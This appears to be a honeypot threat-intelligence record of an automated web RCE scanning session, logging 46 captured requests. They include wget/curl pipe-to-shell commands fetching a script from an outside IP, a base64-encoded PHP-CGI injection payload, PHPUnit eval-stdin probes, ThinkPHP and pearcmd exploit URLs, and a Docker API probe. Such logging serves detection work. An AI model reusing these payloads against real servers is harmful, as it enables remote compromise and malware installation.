PUB-2026-0305-0035

HTTPEvents46BehaviorYesPrimitives20Duration15s

http_mass_web_rce_exploitation_scanninghigh

Coordinated automated exploitation attempts targeting public-facing web services, including PHPUnit eval-stdin access, PHP-CGI argument injection, Docker API exposure, directory traversal, ThinkPHP invokeFunction abuse, and command execution patterns (wget/curl pipe to shell). Identifies opportunistic bot-driven RCE scanning and framework-specific exploit chaining against internet-exposed applications.

Session Events46 events · 15s

019:25:47POST/cgi-bin/bin/sh

(wget --no-check-certificate -qO- https://31.57.216.121/sh || curl -sk https://31.57.216.121/sh) | sh -s apache.selfrep

119:25:47POST/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh

(wget --no-check-certificate -qO- https://31.57.216.121/sh || curl -sk https://31.57.216.121/sh) | sh -s apache.selfrep

219:25:47POST/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input

<?php shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMzEuNTcuMjE2LjEyMS9zaCB8fCBjdXJsIC1zayBodHRwczovLzMxLjU3LjIxNi4xMjEvc2gpIHwgc2ggLXMgY3ZlXzIwMjRfNDU3Ny5zZWxmcmVw")); echo(md5("Hello CVE-2024-4577")); ?>

319:25:48POST/?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input

<?php shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMzEuNTcuMjE2LjEyMS9zaCB8fCBjdXJsIC1zayBodHRwczovLzMxLjU3LjIxNi4xMjEvc2gpIHwgc2ggLXMgY3ZlXzIwMjRfNDU3Ny5zZWxmcmVw")); echo(md5("Hello CVE-2024-4577")); ?>

419:25:48GET/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

519:25:48GET/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

619:25:48GET/vendor/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

719:25:49GET/vendor/phpunit/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

819:25:49GET/vendor/phpunit/phpunit/LICENSE/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

919:25:49GET/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

1019:25:49GET/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

1119:25:49GET/phpunit/phpunit/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

1219:25:50GET/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

1319:25:50GET/phpunit/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

1419:25:50GET/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

1519:25:50GET/lib/phpunit/phpunit/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

1619:25:50GET/lib/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

1719:25:51GET/lib/phpunit/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

1819:25:51GET/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

1919:25:52GET/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

2019:25:52GET/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

2119:25:53GET/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

2219:25:54GET/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

2319:25:54GET/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

2419:25:54GET/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

2519:25:54GET/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

2619:25:55GET/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

2719:25:55GET/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

2819:25:55GET/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

2919:25:55GET/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

3019:25:56GET/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

3119:25:57GET/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

3219:25:57GET/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

3319:25:58GET/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

3419:25:59GET/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

3519:25:59GET/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

3619:25:59GET/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

3719:26:00GET/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

3819:26:00GET/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

3919:26:00GET/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

4019:26:01GET/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

<?php echo(md5("Hello PHPUnit"));

4119:26:01GET/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello

4219:26:01GET/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello

4319:26:01GET/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5("hi"));?>+/tmp/index1.php

4419:26:02GET/index.php?lang=../../../../../../../../tmp/index1

4519:26:02GET/containers/json

Matched Primitives

Related HTTP Sessions

ID	Protocol	Events	Behavior	Primitives	Duration
PUB-2026-0312-0001	HTTP	1	No	0	1m
PUB-2026-0308-0005	HTTP	101	No	2	12s
PUB-2026-0307-0014	HTTP	1	No	1	3s
PUB-2026-0307-0013	HTTP	1	No	2	0s
PUB-2026-0307-0012	HTTP	2	No	1	1m 1s